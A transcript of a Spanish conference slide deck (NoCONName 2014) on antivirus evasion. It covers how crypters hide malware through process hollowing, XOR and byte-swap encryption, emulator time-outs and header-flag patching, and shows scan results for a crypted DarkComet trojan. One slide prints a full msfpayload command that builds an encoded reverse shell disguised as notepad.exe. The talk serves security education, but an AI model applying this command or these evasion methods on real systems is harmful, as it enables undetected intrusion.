NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

38
#NcN2k14 Abraham Pasamar (@apasamar) Desmitificando el AntiVirus Desmitificando el AntiVirus

description

Charla Desmitificando el AntiVirus en NoCONName 2104 NcN2k14. Técnicas de evasión de antivirus. Creación de un Crypter en C Demo: * Pruebas crypter * Ataque ingenieria social: email+word con macro (downloader de Malware protegido con crypter FUD) Video 1/ http://youtu.be/wPPmRgQNF24 * Ataque 0day con Sandworm (powerpoint) Video 2/ https://www.youtube.com/watch?v=5hJddep-y80 Video 3/ https://www.youtube.com/watch?v=gZAndZB0Jqk

Transcript of NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

Page 1: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Desmitificando el AntiVirus

Desmitificando el AntiVirus

Page 2: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

Abraham Pasamar (@apasamar)#NcN2k14

Sobre mi:Abraham Pasamar @apasamarCEO Inci e [email protected]

www.incide.es PGP key ID: 0x3ee5fcf7693108b4 +10 años seguridad Computer Forensics Incident Response Expert Witness Pentesting

PASSWORD:

1234567

Whoamid

Page 3: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Efectividad de los Antivirus

Crypters C Crypter

Evasión de Antivirus

DEMO

Page 4: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

AgradecimientosJose Selvi

Abel Gómez

camisetasfrikis.es

Vrillon/Venon

Creative Commons

Page 5: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Antivirus

Page 6: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

¿Nos protegen?

¿Hasta qué punto?

Todo lo que pueden

respecto de las ‘infecciones’ comunes

y lo que pueden ‘prever’

Antivirus

Page 7: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

¿Nos protegen? No mucho

Cybercriminales

Las técnicas de ‘Detección’ de los AVs actualmente son insuficientes

Ataque dirigido (APT)

Las defensas convencionales son insuficientes

Page 8: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

¿Nos protegen? No mucho

Cybercriminales

Las técnicas de ‘Detección’ de los AVs actualmente son insuficientes Las defensas convencionales son insuficientes

Ataque dirigido (APT)

Page 9: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Brian Dye, CEO de Symantec

mayo 2014

Paradigma ha cambiado —> protección AV host/perimetro es insuficiente

Press

Page 10: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

AV: ¿Cómo funcionan?Escanean binarios en el DISCO

¿Escanean en MEMORIA? algunos y poco :(

Buscan TÉCNICAS MALICIOSAS (heurística)

Buscan FIRMAS @ AV BBDD

EMULADOR (ejecución parcial) Tiempo Real

Page 11: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

MALWARE = $$$$$$$

¿Por qué evadir AV’s?

Botnets, Ransomware, …

APT

Auditoría, Pentesting

BAD GUYS:

GOOD GUYS:

Page 12: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Encoders ¿Cómo evadir AV’s?

Packers

Crypters

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.75 LPORT=4444 R | msfencode -c 5 -e x86/shikata_ga_nai -x notepad.exe > notepad2.exe

Page 13: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Encoders ¿Cómo evadir AV’s?

Packers

Crypters

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.75 LPORT=4444 R | msfencode -c 5 -e x86/shikata_ga_nai -x notepad.exe > notepad2.exe

MALWARE suele ser una pieza compleja.Crypter es mucho más simple.

Permite proteger malware detectado. REUTILIZACIÓN

TIP:Método Público = MALMétodo Privado = BIEN

Page 14: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

¿Información sobre Crypters?Papers

“Abusing File Processing in Malware Detectors for Fun and Profit” (2012)

Suman Jana and Vitaly Shmatikov

The University of Texas at Austin

“Bypassing Anti-Virus Scanners” (2012)

InterNOT Security Team

“Hyperion:

Implementation of a PE-Crypter”(2012)

Christian Ammann http://www.nullsecurity.net/

“One packer to rule them all: Empirical identification, comparison and circumvention of current Antivirus detection techniques”(BruCON 2014)

Arne Swinnen,Alaeddine Mesbahi

Page 15: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Manuales

Foros Underground

Video-Tutoriales

Binarios

Código

Herramientas

Multi AV-Scanners

Enlaces:

http://www.indetectables.net

http://www.udtools.net

http://www.masters-hackers.info

http://www.level-23.biz

http://www.corp-51.net

http://www.underc0de.org

Page 16: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

¿Qué es un Crypter?Software creado para ocultar código malicioso y hacerlo indetectable a los antivirus (FUD)

STUB

MALWARE DETECTADO

MALWARE CIFRADO

XOR, RC4, ...

CRYPTER + STUB

STUB

CRYPTER(Builder)

exe dll

recurso

Page 17: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Builder / Stub

Builder:

Se encarga de componer el

nuevo ejecutable.

Builder (Malware Detectado) =

Stub + Malware Cifrado

Stub:

Se encarga de: * Descifrar el Malware Cifrado * Ejecutarlo directamente en memoria sin que el Malware toque el disco Pieza más importante Se enfrenta a los AV’s

Page 18: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

RunPE o Dynamic ForkingCreateProcess

PRO

CES

O1

(CREATE_SUSPENDED)

GetThreadContext

PEB EBX

EAX

BaseAddress 1

EP I

+8

PRO

CES

O2

ReadFile WriteProcessMemoryEP 2

BaseAddress 2

SetThreadContextResumeThread

Page 19: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Let’s code a C CrypterBuilder

STUB MALWARE CIFRADO

MALWARE

C O N T E N E D O R

Page 20: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

RUTINA DE CIFRADO

Let’s code a C CrypterBuilder

Page 21: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

STUB+FIRMA+MALWARE CIFRADO

Let’s code a C CrypterBuilder

Page 22: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Descifrado (decryptbuffer=XOR[buffer])

Let’s code a C CrypterStub

Localizar la FIRMA SEPARADORA

Page 23: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Arrancar el proceso en memoria (Dynamic Forking)

Let’s code a C CrypterStub

Estructuras cabecera ejecutableCreateProcess (CREATE_SUSPEND)

WriteProcessMemoryResumeThread

Page 24: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Let’s SCAN the CrypterMulti AV SCAN

TROJAN SERVER (Darkcomet). SIN CRYPTER

TROJAN SERVER CRYPTED (stub+[crypted Darkcomet])

Page 25: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Improving the Crypter:( 13 Signatures … ¿ Qué podemos hacer ?

API HOOKS :)GetProcAddress

Page 26: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Let’s SCAN the CrypterMulti AV SCAN

V1 - Original Crypter V2 - API Hooks

Page 27: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Añadiendo soporte para parámetros

main —> WinMain (nCmdLine)

Improving the Crypter

Page 28: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Cambiando la rutina de cifradoXOR —> byte SWAP

Improving the Crypter

Page 29: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Let’s SCAN the CrypterMulti AV SCAN

V2 - API Hooks V3 - Parameters & byte Swap

Ooohhh!!!

Page 30: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

¡¡¡ Matemos las firmas heurísticas !!!

Exhausting routine

FIRMAS indican HEURISTICA

Improving the Crypter

Emulador —> Time Out

ANTIVIRUS SANDBOXREAL TIME DETECTION

No es posible procesarlo en tiempo real

Page 31: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Multi AV SCANV4 - Exhausting Routine

OH YEAH !!!V3 - Parameters & byte Swap

Let’s SCAN the Crypter

Page 32: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

FIRMAS EstáticasAVAST

Método de cifradoVariante: SWAP +/- 1

Improving the Crypter

Page 33: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

FIRMAS EstáticasAVIRA

Firmas Cabecera (CRC/clusterización) - FLAGS Sección

CAMBIAMOS FLAGs VALOR NO ESPERADO

Improving the Crypter

Page 34: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Multi AV SCANV4 - Exhausting Routine V6 - Cifrado+ & patch Flags

Awesome!!!

Let’s SCAN the Crypter

Page 35: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Crypter en C (FUD)

Probarlo en un ataque

Ingeniería social (1 click)Word + Macro (downloader)

Ejecución FUD-Trojan en TR

DEMO

Sandworm (0 clicks)

Page 36: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Bypass AVs es POSIBLE—-> Compromiso INFORMACIÓN

Necesario prestar atención al COMPORTAMIENTOAlgunos elementos a considerar:

Perímetro (callbacks C&C)

SANDBOX

Contexto

Conclusiones

Page 37: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Imágenes

http://broadbandandsocialjustice.org/

http://www.gratisography.com/

Flickr, user: eviltomthai

Chiswick Chap - Own work

Banco Imáges Propio

Page 38: NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus

#NcN2k14 Abraham Pasamar (@apasamar)

Gracias

Avda. Diagonal, 640 6ª Planta 08017 [email protected]://www.incide.es1NC1D3http://www.incide.es/blog-incide/http://www.youtube.com/incidetubeCompanies > INCIDE - Investigación DigitalTel./Fax. +34 932 546 277 / +34 932 546 314

apasamarINCIDE